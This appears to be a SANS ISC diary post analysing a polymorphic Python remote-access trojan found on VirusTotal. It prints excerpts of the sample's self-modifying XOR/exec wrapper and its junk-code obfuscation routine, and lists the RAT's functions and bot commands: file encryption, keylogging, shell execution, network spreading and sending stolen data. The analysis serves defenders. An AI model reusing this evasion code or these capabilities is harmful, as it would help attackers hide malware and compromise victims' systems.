Polymorphic Python Malware, (Wed, Oct 8th)
Today, I spoted on VirusTotal an interesting Python RAT. They are tons of them but this one attracted my attention based on some function names present in the code: self_modifying_wrapper(), decrypt_and_execute() and polymorph_code(). A polymorphic malware is a type of malware that has been developed to repeatedly mutate its appearance or signature files at every execution time. The file got a very low score of 2/64 on VT! (SHA256:7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c). To be able to modify its code on the fly, the program must have access to its own source code. Many languages have this capability. I covered the same technque in JavaScript a long time ago[1]. With Python, there is a very interesting module that can add the same capability: inspect[2]. Here is a simple snippet of code to demonstrate how it works: remnux@remnux:~$ cat poc.py import inspect def dummy_function(): print("I'm a dummy function!") def main(): print("Function code:") print(inspect.getsource(dummy_function)) if name == "main": main() remnux@remnux:~$ python3 poc.py Function code: def dummy_function(): print("I'm a dummy function!") Once you get the source code, you can perform plenty of actions like anti-tampering detection (was the code modified - to debug it) or obfuscate it. In the discovered sample, the self_modifying_wrapper() function will grab a function code, XOR it with a random key then un-XOR it and execute it from memory: Self-modifying code wrapper (simulates packing) def self_modifying_wrapper(): """Wrap critical code in a self-modifying layer.""" log_path = resource_path('debug.log') try: # Simulate packed code by XORing critical sections critical_code = inspect.getsource(main).encode() xor_key = random.randint(1, 255) packed_code = bytes(b ^ xor_key for b in critical_code) # Unpack at runtime unpacked_code = bytes(b ^ xor_key for b in packed_code) code_obj = marshal.loads(zlib.decompress(unpacked_code)) exec(code_obj) with open(log_path, "a") as f: f.write("[+] Self-modifying code executed\n") return True except Exception as e: with open(log_path, "a") as f: f.write(f"[-] Self-modifying code failed: {e}\n") return False The malware has also the capability to inject junk code: def polymorph_code(code): """Obfuscate code with advanced randomization and junk code.""" log_path = resource_path('debug.log') try: # Advanced variable renaming var_map = {var: ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(random.randint(8, 12))) for var in code.split() if var.isidentifier()} for old_var, new_var in var_map.items(): code = code.replace(old_var, new_var) # Insert complex junk code junk_snippets = [ "def _unused_{}(): return None\n".format(''.join(random.choice(string.ascii_letters) for _ in range(8))), "x = [0] * {}; x = [y for y in x]\n".format(random.randint(10, 100)), "import time; time.sleep({})\n".format(random.uniform(0.01, 0.1)), "try: pass\nexcept: pass\n" ] lines = code.split('\n') for _ in range(random.randint(10, 20)): lines.insert(random.randint(0, len(lines)), random.choice(junk_snippets)) code = '\n'.join(lines) # Shuffle function order code = code.replace('\r\n', '\n') # Normalize line endings functions = re.findall(r'(def .+?\n\s*return .+?\n)', code, re.DOTALL) if functions: random.shuffle(functions) code = code.replace(''.join(functions), ''.join(functions)) with open(log_path, "a") as f: f.write("[+] Advanced polymorphic transformation applied\n") return code except Exception as e: with open(log_path, "a") as f: f.write(f"[-] Polymorphic transformation failed: {e}\n") return code It's easy to get a nice overview of the RAT capabilities: Besides this specificity, the malware is a classic one and offers plenty of features to the Attacker. Here is a list of interesting functions that give a good overview of the capabilities: remnux@remnux:~$ grep "async def" 7173e20e7ec217f6a1591f1fc9be6d0a4496d78615cc5ccdf7b9a3a37e3ecc3c async def socket_network_scan(): async def scan_host(ip): async def try_router_hack(ip): async def test_default_credentials(ip, service, port): async def deliver_payload(ip, share=None, service=None, port=None): async def execute_payload(ip, target_path, service): async def get_phone_number(stolen_data): async def send_stolen_data(stolen_data, channel, logins_path): async def spread_to_network(): async def report_spreading_status(ip, message): async def xworm(ctx, spread_url="https://example.com/serial_spoofer.exe"): async def record_screen_webcam(voice_channel, ctx): async def on_ready(): async def commands(ctx): async def encrypt(ctx): async def mine(ctx): async def screenshot(ctx): async def audio(ctx): async def listen(ctx): async def execute(ctx, *, command): async def upload(ctx): async def download(ctx, *, filename): async def xworm(ctx): async def archive(ctx): async def system_info(ctx): async def run(ctx, *, program): In the same way, here is the list of bot commands: Bot command: Show available commands @bot.command() async def commands(ctx): log_path = resource_path('debug.log') with open(log_path, "a") as f: f.write("[+] Sending command list\n") commands_list = """ /commands - Show this help message /encrypt - Encrypt victim's files /mine - Start cryptominer (simulated) /screenshot - Capture screenshot /audio - Capture audio /listen - Record screen for 30 seconds, stream high-quality live audio to voice channel /execute - Run shell command /upload - Upload attached file to victim's PC /download - Search and send file from victim's PC /xworm - Deploy Xworm payload /archive - Archive critical files /keylog_start - Start keylogger /keylog_stop - Stop keylogger and send log /system_info - Get system information /run - Run a program """ await ctx.send(commands_list) The file was uploaded on VT as "nirorat.py". I did not find any reference to this RAT. If you have more details, let us know! [1] https://isc.sans.edu/diary/AntiDebugging+JavaScript+Techniques/26228 [2] https://docs.python.org/3/library/inspect.html Xavier Mertens (@xme) Xameco Senior ISC Handler - Freelance Cyber Security Consultant PGP Key
isc.sans.eduOct 8, 2025extracted